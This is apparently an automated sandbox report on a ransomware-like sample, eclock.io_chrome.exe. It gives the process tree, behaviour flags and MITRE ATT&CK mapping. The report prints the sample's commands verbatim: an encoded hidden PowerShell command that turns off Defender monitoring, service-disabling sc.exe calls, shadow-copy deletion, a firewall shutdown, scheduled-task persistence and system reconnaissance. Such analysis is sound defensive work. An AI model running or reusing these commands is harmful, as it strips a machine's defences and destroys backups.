PID 1812 wrote to memory of 1680	1812	eclock.io_chrome.exe	144
PID 1812 wrote to memory of 2640	1812	eclock.io_chrome.exe	145
PID 1812 wrote to memory of 5724	1812	eclock.io_chrome.exe	146
PID 1812 wrote to memory of 1732	1812	eclock.io_chrome.exe	147
PID 1812 wrote to memory of 5308	1812	eclock.io_chrome.exe	154
PID 1812 wrote to memory of 1440	1812	eclock.io_chrome.exe	156
PID 2576 wrote to memory of 5352	2576	cmd.exe	157
PID 2968 wrote to memory of 2084	2968	cmd.exe	158
PID 1680 wrote to memory of 4148	1680	cmd.exe	159
PID 2640 wrote to memory of 1176	2640	cmd.exe	160
PID 1732 wrote to memory of 5480	1732	cmd.exe	161
PID 5724 wrote to memory of 4376	5724	cmd.exe	162
PID 1176 wrote to memory of 320	1176	net.exe	163
PID 3408 wrote to memory of 4172	3408	cmd.exe	164
PID 1812 wrote to memory of 4816	1812	eclock.io_chrome.exe	165
PID 2576 wrote to memory of 2416	2576	cmd.exe	166
PID 5100 wrote to memory of 5560	5100	chrome.exe	167
PID 5100 wrote to memory of 5600	5100	chrome.exe	168
PID 5100 wrote to memory of 5600	5100	chrome.exe	168
PID 5100 wrote to memory of 4452	5100	chrome.exe	169
PID 5100 wrote to memory of 4452	5100	chrome.exe	169
PID 1812 wrote to memory of 400	1812	eclock.io_chrome.exe	170
PID 1812 wrote to memory of 5960	1812	eclock.io_chrome.exe	171
PID 1812 wrote to memory of 5768	1812	eclock.io_chrome.exe	172
PID 1812 wrote to memory of 2932	1812	eclock.io_chrome.exe	174
PID 1812 wrote to memory of 776	1812	eclock.io_chrome.exe	176
PID 1812 wrote to memory of 3424	1812	eclock.io_chrome.exe	177
PID 5768 wrote to memory of 716	5768	net.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://eclock.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffd9234c728,0x7ffd9234c734,0x7ffd9234c740
    3⤵
    PID:4200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,10984358575798115007,7537785712370186362,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,17876952908487983876,16386623224938643153,262144 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:2
    3⤵
    PID:2456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2312,i,6382027986539609979,10232221547578599461,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:13
    3⤵
    PID:2512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,7159156531779005767,17337457376343209080,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:1
    3⤵
    PID:5836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3132,i,4794094652703912505,4752154261881219065,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=3200 /prefetch:1
    3⤵
    PID:4708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4624,i,957373884799453303,3176457969023468069,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=4620 /prefetch:14
    3⤵
    PID:5368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4824,i,10098802573886449086,651982033952934173,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:1
    3⤵
    PID:4836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4420,i,5587163109873785049,2866760445220155676,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=3148 /prefetch:14
    3⤵
    PID:5560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3200,i,9758122885610491083,905113077687977420,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:1
    3⤵
    PID:5600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5580,i,11765336900310951841,17036502408051930377,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:1
    3⤵
    PID:4452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5636,i,13344542534582937265,15716667250928980755,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:14
    3⤵
    PID:344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3296,i,616069388827823732,11474083329398800871,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:1
    3⤵
    PID:5764
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5828,i,15475178744240905446,2890311649935906211,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:1636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5736,i,16080205362421048177,4337390216892167401,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:1
    3⤵
    PID:1828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5704,i,5882554858255454671,12823386591419772029,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:1
    3⤵
    PID:5536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5856,i,1269191816846695477,4554347648968051134,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
    3⤵
    PID:5244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5676,i,4359461381369905319,15788321592437651814,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:14
    3⤵
    PID:4084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5460,i,1151926748447022483,9901129029990501078,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:1
    3⤵
    PID:2712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4428,i,15839670120758956890,11438319150241573172,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:14
    3⤵
    PID:4724
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4844,i,15770973858057119953,4255267598778134199,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:9
    3⤵
    PID:1160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5356,i,6945146422993568557,7884979904560201973,2097152 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:1
    3⤵
    PID:2644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5796,i,4953840908478937561,18182028614386550375,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:14
    3⤵
    PID:2580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5316,i,2815021831858214031,6535930738936926493,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:14
    3⤵
    PID:1924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6124,i,110290079674264060,6940790685423990147,524288 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=4960 /prefetch:14
    3⤵
    PID:6124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4920,i,5576613985171747112,11248884399781463948,262144 --field-trial-handle=2004,i,5825877756636561573,17827664294550529239,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:10
    3⤵
    PID:4684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5256
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2388
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4636
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:480
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5688
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4964
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2016
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1476
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe"
    3⤵
    PID:2972
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5604
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1868
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4724
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5472
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2392
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:400
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5352
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2416
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2084
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4172
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4148
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1176
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5724
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4376
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:480
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5480
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5308
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1440
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4816
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:400
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5960
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:716
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2932
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:776
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3424

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3208

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3376

C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe
1⤵
PID:4348

C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\eclock.io_chrome.exe
1⤵
PID:3912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2132

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv yFcA9rIPNkm63ad+ROPDoQ.0.2
1⤵
PID:5244

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery